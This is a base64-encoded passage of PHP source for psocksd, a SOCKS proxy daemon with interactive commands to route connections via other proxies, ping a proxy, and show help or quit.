nRyeSB3aXRoIGdpdmVuIDxpZD4gKHNlZSAibGlzdCIpJywKICAgICAgICAgICAgICAgICdyZXNldCcgICAgICAgICAgICAgICAgICAgICAgICAgICAgPT4gJ2NsZWFyIGFuZCByZXNldCBldmVyeXRoaW5nIGFuZCBvbmx5IGNvbm5lY3QgbG9jYWxseScKICAgICAgICAgICAgKSk7CiAgICAgICAgfQogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBydW5MaXN0KCkKICAgIHsKICAgICAgICAkY20gPSAkdGhpcy0+YXBwLT5nZXRDb25uZWN0aW9uTWFuYWdlcigpOwoKICAgICAgICAkbGVuZ3RocyA9IGFycmF5KAogICAgICAgICAgICAnaWQnID0+IDMsCiAgICAgICAgICAgICdob3N0JyA9PiA1LAogICAgICAgICAgICAncG9ydCcgPT4gNSwKICAgICAgICAgICAgJ3ByaW9yaXR5JyA9PiA1CiAgICAgICAgKTsKCiAgICAgICAgJHBhZCA9ICcgICc7CgogICAgICAgICRsaXN0ID0gYXJyYXkoKTsKICAgICAgICBmb3JlYWNoICgkY20tPmdldENvbm5lY3Rpb25NYW5hZ2VyRW50cmllcygpIGFzICRpZCA9PiAkZW50cnkpIHsKICAgICAgICAgICAgJGxpc3QgWyRpZF09ICRlbnRyeTsKCiAgICAgICAgICAgICRlbnRyeVsnaWQnXSA9ICRpZDsKICAgICAgICAgICAgZm9yZWFjaCAoJGxlbmd0aHMgYXMgJGtleSA9PiAmJHZhbHVlKSB7CiAgICAgICAgICAgICAgICAkbCA9IG1iX3N0cmxlbigkZW50cnlbJGtleV0sICd1dGYtOCcpOwogICAgICAgICAgICAgICAgaWYgKCRsID4gJHZhbHVlKSB7CiAgICAgICAgICAgICAgICAgICAgJHZhbHVlID0gJGw7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGVjaG8gJHRoaXMtPnBhZCgnSWQ6JywgJGxlbmd0aHNbJ2lkJ10pIC4gJHBhZCAuCiAgICAgICAgICAgICAkdGhpcy0+cGFkKCdIb3N0OicsICRsZW5ndGhzWydob3N0J10pIC4gJHBhZCAuCiAgICAgICAgICAgICAkdGhpcy0+cGFkKCdQb3J0OicsICRsZW5ndGhzWydwb3J0J10pIC4gJHBhZCAuCiAgICAgICAgICAgICAkdGhpcy0+cGFkKCdQcmlvOicsICRsZW5ndGhzWydwcmlvcml0eSddKSAuICRwYWQgLgogICAgICAgICAgICAgJ1RhcmdldDonIC4gUEhQX0VPTDsKICAgICAgICBmb3JlYWNoICgkbGlzdCBhcyAkaWQgPT4gJGVudHJ5KSB7CiAgICAgICAgICAgIGVjaG8gJHRoaXMtPnBhZCgkaWQsICRsZW5ndGhzWydpZCddKSAuICRwYWQgLgogICAgICAgICAgICAgICAgICR0aGlzLT5wYWQoJGVudHJ5Wydob3N0J10sICRsZW5ndGhzWydob3N0J10pIC4gJHBhZCAuCiAgICAgICAgICAgICAgICAgJHRoaXMtPnBhZCgkZW50cnlbJ3BvcnQnXSwgJGxlbmd0aHNbJ3BvcnQnXSkgLiAkcGFkIC4KICAgICAgICAgICAgICAgICAkdGhpcy0+cGFkKCRlbnRyeVsncHJpb3JpdHknXSwgJGxlbmd0aHNbJ3ByaW9yaXR5J10pIC4gJHBhZCAuCiAgICAgICAgICAgICAgICAgJHRoaXMtPmR1bXBDb25uZWN0aW9uTWFuYWdlcigkZW50cnlbJ2Nvbm5lY3Rpb25NYW5hZ2VyJ10pIC4gUEhQX0VPTDsKICAgICAgICB9CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHJ1blJlbW92ZSgkaWQpCiAgICB7CiAgICAgICAgJHRoaXMtPmFwcC0+Z2V0Q29ubmVjdGlvbk1hbmFnZXIoKS0+cmVtb3ZlQ29ubmVjdGlvbk1hbmFnZXJFbnRyeSgkaWQpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBydW5SZXNldCgpCiAgICB7CiAgICAgICAgJGNtID0gJHRoaXMtPmFwcC0+Z2V0Q29ubmVjdGlvbk1hbmFnZXIoKTsKCiAgICAgICAgLy8gcmVtb3ZlIGFsbCBjb25uZWN0aW9uIG1hbmFnZXJzCiAgICAgICAgZm9yZWFjaCAoJGNtLT5nZXRDb25uZWN0aW9uTWFuYWdlckVudHJpZXMoKSBhcyAkaWQgPT4gJGVudHJ5KSB7CiAgICAgICAgICAgICRjbS0+cmVtb3ZlQ29ubmVjdGlvbk1hbmFnZXJFbnRyeSgkaWQpOwogICAgICAgIH0KCiAgICAgICAgLy8gYWRkIGRlZmF1bHQgY29ubmVjdGlvbiBtYW5hZ2VyCiAgICAgICAgJGNtLT5hZGRDb25uZWN0aW9uTWFuYWdlckZvcigkdGhpcy0+YXBwLT5jcmVhdGVDb25uZWN0aW9uTWFuYWdlcignbm9uZScpLCAnKicsICcqJywgQXBwOjpQUklPUklUWV9ERUZBVUxUKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcnVuU2V0RGVmYXVsdCgkc29ja2V0KQogICAgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgICR2aWEgPSAkdGhpcy0+YXBwLT5jcmVhdGVDb25uZWN0aW9uTWFuYWdlcigkc29ja2V0KTsKICAgICAgICB9CiAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICBlY2hvICdlcnJvcjogaW52YWxpZCB0YXJnZXQ6ICcgLiAkZS0+Z2V0TWVzc2FnZSgpIC4gUEhQX0VPTDsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgLy8gcmVtb3ZlIGFsbCBDTXMgd2l0aCBQUklPUklUWV9ERUZBVUxUCiAgICAgICAgJGNtID0gJHRoaXMtPmFwcC0+Z2V0Q29ubmVjdGlvbk1hbmFnZXIoKTsKICAgICAgICBmb3JlYWNoICgkY20tPmdldENvbm5lY3Rpb25NYW5hZ2VyRW50cmllcygpIGFzICRpZCA9PiAkZW50cnkpIHsKICAgICAgICAgICAgaWYgKCRlbnRyeVsncHJpb3JpdHknXSA9PSBBcHA6OlBSSU9SSVRZX0RFRkFVTFQpIHsKICAgICAgICAgICAgICAgICRjbS0+cmVtb3ZlQ29ubmVjdGlvbk1hbmFnZXJFbnRyeSgkaWQpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkY20tPmFkZENvbm5lY3Rpb25NYW5hZ2VyRm9yKCR2aWEsICcqJywgJyonLCBBcHA6OlBSSU9SSVRZX0RFRkFVTFQpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBydW5BZGQoJHRhcmdldCwgJHNvY2tldCwgJHByaW9yaXR5KQogICAgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgICR2aWEgPSAkdGhpcy0+YXBwLT5jcmVhdGVDb25uZWN0aW9uTWFuYWdlcigkc29ja2V0KTsKICAgICAgICB9CiAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICBlY2hvICdlcnJvcjogaW52YWxpZCB0YXJnZXQ6ICcgLiAkZS0+Z2V0TWVzc2FnZSgpIC4gUEhQX0VPTDsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgJHByaW9yaXR5ID0gJHRoaXMtPmNvZXJjZVByaW9yaXR5KCRwcmlvcml0eSk7CiAgICAgICAgfQogICAgICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgZWNobyAnZXJyb3I6IGludmFsaWQgcHJpb3JpdHk6ICcgLiAkZS0+Z2V0TWVzc2FnZSgpIC4gUEhQX0VPTDsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgJGhvc3QgPSAkdGFyZ2V0OwogICAgICAgICRwb3J0ID0gJyonOwoKICAgICAgICAkY29sb24gPSBzdHJycG9zKCRob3N0LCAnOicpOwoKICAgICAgICAvLyB0aGVyZSBpcyBhIGNvbG9uIGFuZCB0aGlzIGlzIHRoZSBvbmx5IGNvbG9uIG9yIHRoZXJlJ3MgYSBjbG9zaW5nIElQdjYgYnJhY2tldCByaWdodCBiZWZvcmUgaXQKICAgICAgICBpZiAoJGNvbG9uICE9PSBmYWxzZSAmJiAoc3RycG9zKCRob3N0LCAnOicpID09PSAkY29sb24gfHwgc3RycG9zKCRob3N0LCAnXScpID09PSAoJGNvbG9uIC0gMSkpKSB7CiAgICAgICAgICAgICRwb3J0ID0gKGludClzdWJzdHIoJGhvc3QsICRjb2xvbiArIDEpOwogICAgICAgICAgICAkaG9zdCA9IHN1YnN0cigkaG9zdCwgMCwgJGNvbG9uKTsKCiAgICAgICAgICAgIC8vIHJlbW92ZSBJUHY2IHNxdWFyZSBicmFja2V0cwogICAgICAgICAgICBpZiAoc3Vic3RyKCRob3N0LCAwLCAxKSA9PT0gJ1snKSB7CiAgICAgICAgICAgICAgICAkaG9zdCA9IHN1YnN0cigkaG9zdCwgMSwgLTEpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkdGhpcy0+YXBwLT5nZXRDb25uZWN0aW9uTWFuYWdlcigpLT5hZGRDb25uZWN0aW9uTWFuYWdlckZvcigkdmlhLCAkaG9zdCwgJHBvcnQsICRwcmlvcml0eSk7CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGNvZXJjZVByaW9yaXR5KCRwcmlvcml0eSkKICAgIHsKICAgICAgICAkcmV0ID0gZmlsdGVyX3ZhcigkcHJpb3JpdHksIEZJTFRFUl9WQUxJREFURV9GTE9BVCk7CiAgICAgICAgaWYgKCRyZXQgPT09IGZhbHNlKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBJbnZhbGlkQXJndW1lbnRFeGNlcHRpb24oJ0ludmFsaWQgcHJpb3JpdHkgZ2l2ZW4nKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRyZXQ7CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBwYWQoJHN0ciwgJGxlbikKICAgIHsKICAgICAgICByZXR1cm4gJHN0ciAuIHN0cl9yZXBlYXQoJyAnLCAkbGVuIC0gbWJfc3RybGVuKCRzdHIsICd1dGYtOCcpKTsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZHVtcENvbm5lY3Rpb25NYW5hZ2VyKENvbm5lY3RvckludGVyZmFjZSAkY29ubmVjdGlvbk1hbmFnZXIpCiAgICB7CiAgICAgICAgaWYgKCRjb25uZWN0aW9uTWFuYWdlciBpbnN0YW5jZW9mIENvbm5lY3Rpb25NYW5hZ2VyTGFiZWxlZCkgewogICAgICAgICAgICByZXR1cm4gKHN0cmluZykkY29ubmVjdGlvbk1hbmFnZXI7CiAgICAgICAgfQogICAgICAgIHJldHVybiBnZXRfY2xhc3MoJGNvbm5lY3Rpb25NYW5hZ2VyKSAuICco4oCmKSc7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBDbHVlXFBzb2Nrc2RcQ29tbWFuZDsKCmludGVyZmFjZSBDb21tYW5kSW50ZXJmYWNlCnsKICAgIHB1YmxpYyBmdW5jdGlvbiBydW4oJGFyZ3MpOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRIZWxwKCk7Cn0KPD9waHAKCm5hbWVzcGFjZSBDbHVlXFBzb2Nrc2RcQ29tbWFuZDsKCnVzZSBDbHVlXFBzb2Nrc2RcQXBwOwp1c2UgQ2x1ZVxSZWFjdFxTb2Nrc1xDbGllbnQ7CnVzZSBSZWFjdFxTb2NrZXRDbGllbnRcQ29ubmVjdG9yOwp1c2UgUmVhY3RcU29ja2V0Q2xpZW50XENvbm5lY3RvckludGVyZmFjZTsKdXNlIFxVbmV4cGVjdGVkVmFsdWVFeGNlcHRpb247CnVzZSBcRXhjZXB0aW9uOwoKY2xhc3MgUGluZyBpbXBsZW1lbnRzIENvbW1hbmRJbnRlcmZhY2UKewogICAgcHJvdGVjdGVkICRhcHA7CgogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KEFwcCAkYXBwKQogICAgewogICAgICAgICR0aGlzLT5hcHAgPSAkYXBwOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBydW4oJGFyZ3MpCiAgICB7CiAgICAgICAgaWYgKGNvdW50KCRhcmdzKSAhPT0gMSkgewogICAgICAgICAgICBlY2hvICdlcnJvcjogY29tbWFuZCByZXF1aXJlcyBvbmUgYXJndW1lbnQgKHRhcmdldCBzb2NrcyBzZXJ2ZXIpJy5QSFBfRU9MOwogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICAkc29ja2V0ID0gJGFyZ3NbMF07CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgJHBhcnNlZCA9ICR0aGlzLT5hcHAtPnBhcnNlU29ja3NTb2NrZXQoJHNvY2tldCk7CiAgICAgICAgfQogICAgICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgZWNobyAnZXJyb3I6IGludmFsaWQgcGluZyB0YXJnZXQ6ICcgLiAkZS0+Z2V0TWVzc2FnZSgpIC4gUEhQX0VPTDsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgLy8gVE9ETzogcmVtb3ZlIGhhY2sKICAgICAgICAvLyByZXNvbHZlciBjYW4gbm90IHJlc29sdmUgJ2xvY2FsaG9zdCcgQVRNCiAgICAgICAgaWYgKCRwYXJzZWRbJ2hvc3QnXSA9PT0gJ2xvY2FsaG9zdCcpIHsKICAgICAgICAgICAgJHBhcnNlZFsnaG9zdCddID0gJzEyNy4wLjAuMSc7CiAgICAgICAgfQoKICAgICAgICAkZGlyZWN0ID0gbmV3IENvbm5lY3RvcigkdGhpcy0+YXBwLT5nZXRMb29wKCksICR0aGlzLT5hcHAtPmdldFJlc29sdmVyKCkpOwogICAgICAgICR2aWEgPSBuZXcgQ2xpZW50KCR0aGlzLT5hcHAtPmdldExvb3AoKSwgJHBhcnNlZFsnaG9zdCddLCAkcGFyc2VkWydwb3J0J10sICRkaXJlY3QsICR0aGlzLT5hcHAtPmdldFJlc29sdmVyKCkpOwogICAgICAgIGlmIChpc3NldCgkcGFyc2VkWydwcm90b2NvbFZlcnNpb24nXSkpIHsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICR2aWEtPnNldFByb3RvY29sVmVyc2lvbigkcGFyc2VkWydwcm90b2NvbFZlcnNpb24nXSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgZWNobyAnZXJyb3I6IGludmFsaWQgcHJvdG9jb2wgdmVyc2lvbjogJyAuICRlLT5nZXRNZXNzYWdlKCkgLiBQSFBfRU9MOwogICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkcGFyc2VkWyd1c2VyJ10pIHx8IGlzc2V0KCRwYXJzZWRbJ3Bhc3MnXSkpIHsKICAgICAgICAgICAgJHBhcnNlZCArPSBhcnJheSgndXNlcicgPT4nJywgJ3Bhc3MnID0+ICcnKTsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICR2aWEtPnNldEF1dGgoJHBhcnNlZFsndXNlciddLCAkcGFyc2VkWydwYXNzJ10pOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgICAgIGVjaG8gJ2Vycm9yOiBpbnZhbGlkIGF1dGhlbnRpY2F0aW9uIGluZm86ICcgLiAkZS0+Z2V0TWVzc2FnZSgpIC4gUEhQX0VPTDsKICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgJHZpYS0+c2V0UmVzb2x2ZUxvY2FsKGZhbHNlKTsKICAgICAgICB9CiAgICAgICAgY2F0Y2ggKFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbiAkaWdub3JlKSB7CiAgICAgICAgICAgIC8vIGlnbm9yZSBpbiBjYXNlIGl0J3Mgbm90IGFsbG93ZWQgKFNPQ0tTNCBjbGllbnQpCiAgICAgICAgfQogICAgICAgICR0aGlzLT5waW5nRWNobygkdmlhLT5jcmVhdGVDb25uZWN0b3IoKSwgJ3d3dy5nb29nbGUuY29tJywgODApOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRIZWxwKCkKICAgIHsKICAgICAgICByZXR1cm4gJ3BpbmcgYW5vdGhlciBTT0NLUyBwcm94eSBzZXJ2ZXIgdmlhIFRDUCBoYW5kc2hha2UnOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBwaW5nRWNobyhDb25uZWN0b3JJbnRlcmZhY2UgJHZpYSwgJGhvc3QsICRwb3J0KQogICAgewogICAgICAgIGVjaG8gJ3BpbmcgJyAuICRob3N0IC4gJzonIC4gJHBvcnQgLiBQSFBfRU9MOwogICAgICAgIHJldHVybiAkdGhpcy0+cGluZygkdmlhLCAkaG9zdCwgJHBvcnQpLT50aGVuKGZ1bmN0aW9uICgkdGltZSkgewogICAgICAgICAgICBlY2hvICdwaW5nIHRlc3QgT0sgKOKMmiAnIC4gcm91bmQoJHRpbWUsIDMpLidzKScgLiBQSFBfRU9MOwogICAgICAgICAgICByZXR1cm4gJHRpbWU7CiAgICAgICAgfSwgZnVuY3Rpb24gKCRlcnJvcikgewogICAgICAgICAgICAkbXNnID0gJGVycm9yLT5nZXRNZXNzYWdlKCk7CiAgICAgICAgICAgIGVjaG8gJ3BpbmcgdGVzdCBGQUlMRUQ6ICcgLiAkbXNnIC4gUEhQX0VPTDsKICAgICAgICAgICAgdGhyb3cgJGVycm9yOwogICAgICAgIH0pOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBwaW5nKENvbm5lY3RvckludGVyZmFjZSAkdmlhLCAkaG9zdCwgJHBvcnQpCiAgICB7CiAgICAgICAgJHN0YXJ0ID0gbWljcm90aW1lKHRydWUpOwogICAgICAgIHJldHVybiAkdmlhLT5jcmVhdGUoJGhvc3QsICRwb3J0KS0+dGhlbihmdW5jdGlvbiAoJHN0cmVhbSkgdXNlICgkc3RhcnQpIHsKICAgICAgICAgICAgJHN0b3AgPSBtaWNyb3RpbWUodHJ1ZSk7CiAgICAgICAgICAgICRzdHJlYW0tPmNsb3NlKCk7CiAgICAgICAgICAgIHJldHVybiAoJHN0b3AgLSAkc3RhcnQpOwogICAgICAgIH0pOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgQ2x1ZVxQc29ja3NkXENvbW1hbmQ7CgpjbGFzcyBTdGF0dXMgaW1wbGVtZW50cyBDb21tYW5kSW50ZXJmYWNlCnsKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkYXBwKQogICAgewoKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcnVuKCRhcmdzKQogICAgewogICAgICAgIGVjaG8gJ3N0YXR1cyBuL2EnIC4gUEhQX0VPTDsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0SGVscCgpCiAgICB7CiAgICAgICAgcmV0dXJuICdzaG93IHN0YXR1cyc7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBDbHVlXFBzb2Nrc2RcQ29tbWFuZDsKCnVzZSBDbHVlXFBzb2Nrc2RcQXBwOwoKY2xhc3MgSGVscCBpbXBsZW1lbnRzIENvbW1hbmRJbnRlcmZhY2UKewogICAgcHJpdmF0ZSAkYXBwOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdChBcHAgJGFwcCkKICAgIHsKICAgICAgICAkdGhpcy0+YXBwID0gJGFwcDsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcnVuKCRhcmdzKQogICAgewogICAgICAgIGVjaG8gJ3Bzb2Nrc2QgaGVscDonIC4gUEhQX0VPTDsKICAgICAgICAkdGhpcy0+ZHVtcENvbW1hbmRzKCR0aGlzLT5hcHAtPmdldENvbW1hbmRzKCkpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBkdW1wQ29tbWFuZHMoJGNvbW1hbmRzKQogICAgewogICAgICAgICRoZWxwID0gYXJyYXkoKTsKICAgICAgICBmb3JlYWNoICgkY29tbWFuZHMgYXMgJG5hbWUgPT4gJGNvbW1hbmQpIHsKICAgICAgICAgICAgJGhlbHBbJG5hbWVdID0gJGNvbW1hbmQtPmdldEhlbHAoKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0aGlzLT5kdW1wSGVscCgkaGVscCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGR1bXBIZWxwKCRoZWxwKQogICAgewogICAgICAgIGZvcmVhY2ggKCRoZWxwIGFzICRuYW1lID0+ICRpbmZvKSB7CiAgICAgICAgICAgIGVjaG8gJyAgICAnIC4gJG5hbWUgLiBQSFBfRU9MIC4KICAgICAgICAgICAgICAgICAnICAgICAgICAnIC4gJGluZm8gLiBQSFBfRU9MOwogICAgICAgIH0KICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0SGVscCgpCiAgICB7CiAgICAgICAgcmV0dXJuICdzaG93IHRoaXMgdmVyeSBoZWxwJzsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIENsdWVcUHNvY2tzZFxDb21tYW5kOwoKdXNlIENsdWVcUHNvY2tzZFxBcHA7CgpjbGFzcyBRdWl0IGltcGxlbWVudHMgQ29tbWFuZEludGVyZmFjZQp7CiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoQXBwICRhcHApCiAgICB7CiAgICAgICAgJHRoaXMtPmFwcCA9ICRhcHA7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHJ1bigkYXJncykKICAgIHsKICAgICAgICBlY2hvICdleGl0aW5nLi4uJzsKICAgICAgICAkdGhpcy0+YXBwLT5nZXRMb29wKCktPnN0b3AoKTsKICAgICAgICBlY2hvIFBIUF9FT0w7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGdldEhlbHAoKQogICAgewogICAgICAgIHJldHVybiAnc2h1dGRvd24gdGhpcyBhcHBsaWNhdGlvbic7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBDbHVlXFBzb2Nrc2Q7Cgp1c2UgQ2x1ZVxSZWFjdFxTb2Nrc1xDbGllbnQ7CnVzZSBSZWFjdFxTb2NrZXRDbGllbnRcQ29ubmVjdG9yOwp1c2UgUmVhY3RcU29ja2V0Q2xpZW50XENvbm5lY3RvckludGVyZmFjZTsKdXNlIENvbm5lY3Rpb25NYW5hZ2VyXEV4dHJhXE11bHRpcGxlXENvbm5lY3Rpb25NYW5hZ2VyU2VsZWN0aXZlOwp1c2UgQ29ubmVjdGlvbk1hbmFnZXJcRXh0cmFcQ29ubmVjdGlvbk1hbmFnZXJSZWplY3Q7CnVzZSBcSW52YWxpZEFyZ3VtZW50RXhjZXB0aW9uOwp1c2UgXEV4Y2VwdGlvbjsKCmNsYXNzIEFwcAp7CiAgICBwcml2YXRlICRzZXJ2ZXI7CiAgICBwcml2YXRlICRsb29wOwogICAgcHJpdmF0ZSAkcmVzb2x2ZXI7CiAgICBwcml2YXRlICR2aWE7CiAgICBwcml2YXRlICRjb21tYW5kczsKCiAgICBjb25zdCBQUklPUklUWV9ERUZBVUxUID0gMTAwOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpCiAgICB7CiAgICAgICAgJHRoaXMtPmNvbW1hbmRzID0gYXJyYXkoCiAgICAgICAgICAgICdoZWxwJyAgID0+IG5ldyBDb21tYW5kXEhlbHAoJHRoaXMpLAogICAgICAgICAgICAnc3RhdHVzJyA9PiBuZXcgQ29tbWFuZFxTdGF0dXMoJHRoaXMpLAogICAgICAgICAgICAndmlhJyAgICA9PiBuZXcgQ29tbWFuZFxWaWEoJHRoaXMpLAogICAgICAgICAgICAncGluZycgICA9PiBuZXcgQ29tbWFuZFxQaW5nKCR0aGlzKSwKICAgICAgICAgICAgJ3F1aXQnICAgPT4gbmV3IENvbW1hbmRcUXVpdCgkdGhpcykKICAgICAgICApOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBydW4oKQogICAgewogICAgICAgICRtZWFzdXJlVHJhZmZpYyA9IHRydWU7CiAgICAgICAgJG1lYXN1cmVUaW1lID0gdHJ1ZTsKCiAgICAgICAgJHNvY2tldCA9IGlzc2V0KCRfU0VSVkVSWydhcmd2J11bMV0pID8gJF9TRVJWRVJbJ2FyZ3YnXVsxXSA6ICdzb2NrczovL2xvY2FsaG9zdDo5MDUwJzsKCiAgICAgICAgJHNldHRpbmdzID0gJHRoaXMtPnBhcnNlU29ja3NTb2NrZXQoJHNvY2tldCk7CgogICAgICAgIGlmICgkc2V0dGluZ3NbJ2hvc3QnXSA9PT0gJyonKSB7CiAgICAgICAgICAgICRzZXR0aW5nc1snaG9zdCddID0gJzAuMC4wLjAnOwogICAgICAgIH0KCgogICAgICAgICR0aGlzLT5sb29wID0gJGxvb3AgPSBcUmVhY3RcRXZlbnRMb29wXEZhY3Rvcnk6OmNyZWF0ZSgpOwoKICAgICAgICAkZG5zUmVzb2x2ZXJGYWN0b3J5ID0gbmV3IFxSZWFjdFxEbnNcUmVzb2x2ZXJcRmFjdG9yeSgpOwogICAgICAgICR0aGlzLT5yZXNvbHZlciA9ICRkbnMgPSAkZG5zUmVzb2x2ZXJGYWN0b3J5LT5jcmVhdGVDYWNoZWQoJzguOC44LjgnLCAkbG9vcCk7CgogICAgICAgICR0aGlzLT52aWEgPSBuZXcgQ29ubmVjdGlvbk1hbmFnZXJTZWxlY3RpdmUoKTsKICAgICAgICAkdGhpcy0+dmlhLT5hZGRDb25uZWN0aW9uTWFuYWdlckZvcigkdGhpcy0+Y3JlYXRlQ29ubmVjdGlvbk1hbmFnZXIoJ25vbmUnKSwgJyonLCAnKicsIHNlbGY6OlBSSU9SSVRZX0RFRkFVTFQpOwoKICAgICAgICAkc29ja2V0ID0gbmV3IFxSZWFjdFxTb2NrZXRcU2VydmVyKCRsb29wKTsKCiAgICAgICAgJHRoaXMtPnNlcnZlciA9IG5ldyBcQ2x1ZVxSZWFjdFxTb2Nrc1xTZXJ2ZXIoJGxvb3AsICRzb2NrZXQsICR0aGlzLT52aWEpOwoKICAgICAgICBpZiAoaXNzZXQoJHNldHRpbmdzWydwcm90b2NvbFZlcnNpb24nXSkpIHsKICAgICAgICAgICAgJHRoaXMtPnNlcnZlci0+c2V0UHJvdG9jb2xWZXJzaW9uKCRzZXR0aW5nc1sncHJvdG9jb2xWZXJzaW9uJ10pOwogICAgICAgIH0KCiAgICAgICAgJHNvY2tldC0+bGlzdGVuKCRzZXR0aW5nc1sncG9ydCddLCAkc2V0dGluZ3NbJ2hvc3QnXSk7CgogICAgICAgIGlmIChpc3NldCgkc2V0dGluZ3NbJ3VzZXInXSkgfHwgaXNzZXQoJHNldHRpbmdzWydwYXNzJ10pKSB7CiAgICAgICAgICAgICRzZXR0aW5ncyArPSBhcnJheSgndXNlcicgPT4gJycsICdwYXNzJyA9PiAnJyk7CiAgICAgICAgICAgICR0aGlzLT5zZXJ2ZXItPnNldEF1dGhBcnJheShhcnJheSgKICAgICAgICAgICAgICAgICRzZXR0aW5nc1sndXNlciddID0+ICRzZXR0aW5nc1sncGFzcyddCiAgICAgICAgICAgICkpOwogICAgICAgIH0KCiAgICAgICAgbmV3IE9wdGlvblxMb2coJHRoaXMtPnNlcnZlcik7CgogICAgICAgIGlmICgkbWVhc3VyZVRyYWZmaWMpIHsKICAgICAgICAgICAgbmV3IE9wdGlvblxNZWFzdXJlVHJhZmZpYygkdGhpcy0+c2VydmVyKTsKICAgICAgICB9CgogICAgICAgIGlmICgkbWVhc3VyZVRpbWUpIHsKICAgICAgICAgICAgbmV3IE9wdGlvblxNZWFzdXJlVGltZSgkdGhpcy0+c2VydmVyKTsKICAgICAgICB9CgogICAgICAgIGVjaG8gJ1NPQ0tTIHByb3h5IHNlcnZlciBsaXN0ZW5pbmcgb24gJyAuICRzZXR0aW5nc1snaG9zdCddIC4gJzonIC4gJHNldHRpbmdzWydwb3J0J10gLiBQSFBfRU9MOwoKICAgICAgICBpZiAoZGVmaW5lZCgnU1RESU4nKSAmJiBpc19yZXNvdXJjZShTVERJTikpIHsKICAgICAgICAgICAgJHRoYXQgPSAkdGhpczsKICAgICAgICAgICAgJGxvb3AtPmFkZFJlYWRTdHJlYW0oU1RESU4sIGZ1bmN0aW9uKCkgdXNlICgkdGhhdCkgewogICAgICAgICAgICAgICAgJGxpbmUgPSB0cmltKGZnZXRzKFNURElOLCA0MDk2KSk7CiAgICAgICAgICAgICAgICAkdGhhdC0+b25SZWFkTGluZSgkbGluZSk7CiAgICAgICAgICAgIH0pOwogICAgICAgIH0KCiAgICAgICAgJGxvb3AtPnJ1bigpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBvblJlYWRMaW5lKCRsaW5lKQogICAgewogICAgICAgIC8vIG5vdGhpbmcgZW50ZXJlZCA9PiBza2lwIGlucHV0CiAgICAgICAgaWYgKCRsaW5lID09PSAnJykgewogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICAvLyBUT0RPOiBwcm9wZXJseSBwYXJzZSBjb21tYW5kIGFuZCBpdHMgYXJndW1lbnRzIChyZXNwZWN0IHF1b3RlcywgZXRjLi